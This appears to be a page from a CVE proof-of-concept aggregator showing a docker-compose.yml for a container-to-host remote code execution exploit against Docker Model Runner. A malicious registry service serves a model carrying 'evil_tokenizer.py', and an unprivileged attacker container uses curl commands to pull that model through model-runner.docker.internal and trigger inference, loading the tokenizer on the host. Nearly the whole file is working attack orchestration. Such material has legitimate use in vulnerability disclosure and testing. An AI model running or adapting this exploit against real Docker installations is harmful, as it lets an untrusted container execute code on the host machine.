5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / docker-compose.yml YML
# Docker Model Runner container-to-host RCE PoC
#
# docker compose up -d registry        # start the registry
# docker compose run --rm attacker     # run the attack
# docker compose down                  # clean up
#
# Run test_claims.py on the host (not in Docker) - it needs the source tree
# and the proof file.

services:
  # Malicious OCI registry. Serves a model containing evil_tokenizer.py.
  # All digests are correct (this is what a real attacker would do).
  registry:
    build:
      context: .
      dockerfile: Dockerfile.registry
    ports:
      - "${REGISTRY_PORT:-5555}:${REGISTRY_PORT:-5555}"
    environment:
      - REGISTRY_PORT=${REGISTRY_PORT:-5555}
      - PROOF_FILE=${PROOF_FILE:-/tmp/poc_rce_proof}
    healthcheck:
      test: ["CMD", "python3", "-c",
             "import urllib.request; urllib.request.urlopen('http://localhost:${REGISTRY_PORT:-5555}/_poc/health')"]
      interval: 3s
      timeout: 3s
      retries: 5
      start_period: 5s

  # Unprivileged attacker container.
  # No docker socket, no --privileged, no caps, no mounts, no-new-privileges.
  # All it needs is network access to model-runner.docker.internal.
  attacker:
    image: curlimages/curl:latest
    security_opt:
      - no-new-privileges
    depends_on:
      registry:
        condition: service_healthy
    entrypoint: ["sh", "-c"]
    command:
      - |
        echo "=== Docker Model Runner RCE PoC ==="
        echo ""
        PORT="${REGISTRY_PORT:-5555}"
        MR="http://model-runner.docker.internal"
        MODEL="localhost:$$PORT/evil/rce-model:latest"

        echo "[1/4] Checking registry..."
        HEALTH=$$(curl -sf http://host.docker.internal:$$PORT/_poc/selftest 2>&1)
        if echo "$$HEALTH" | grep -q '"passed": true'; then
          echo "  Registry OK"
        else
          echo "  WARNING: Could not verify registry: $$HEALTH"
        fi
        echo ""

        echo "[2/4] Checking Model Runner..."
        MR_STATUS=$$(curl -sf -o /dev/null -w "%{http_code}" $$MR/api/tags 2>&1)
        echo "  Model Runner /api/tags: HTTP $$MR_STATUS"
        if [ "$$MR_STATUS" != "200" ]; then
          echo "  ERROR: Model Runner not reachable. Is it enabled in Docker Desktop?"
          exit 1
        fi
        echo ""

        echo "[3/4] Pulling malicious model..."
        echo "  POST $$MR/api/pull"
        echo "  Model: $$MODEL"
        PULL=$$(curl -sf -X POST $$MR/api/pull \
          -H "Content-Type: application/json" \
          -d "{\"name\": \"$$MODEL\"}" 2>&1)
        echo "  Response: $$(echo "$$PULL" | head -5)"
        echo ""

        echo "[4/4] Triggering inference (loads evil tokenizer on host)..."
        echo "  POST $$MR/engines/v1/chat/completions"
        echo "  May take 30-120s if the Python backend has to spin up..."
        INFER=$$(curl -sf --max-time 120 -X POST \
          $$MR/engines/v1/chat/completions \
          -H "Content-Type: application/json" \
          -d "{\"model\": \"$$MODEL\", \"messages\": [{\"role\": \"user\", \"content\": \"hello\"}]}" 2>&1)
        echo "  Response: $$(echo "$$INFER" | head -5)"
        echo ""

        echo "=== Done ==="
        echo "Check host for proof:"
        echo "  cat ${PROOF_FILE:-/tmp/poc_rce_proof}"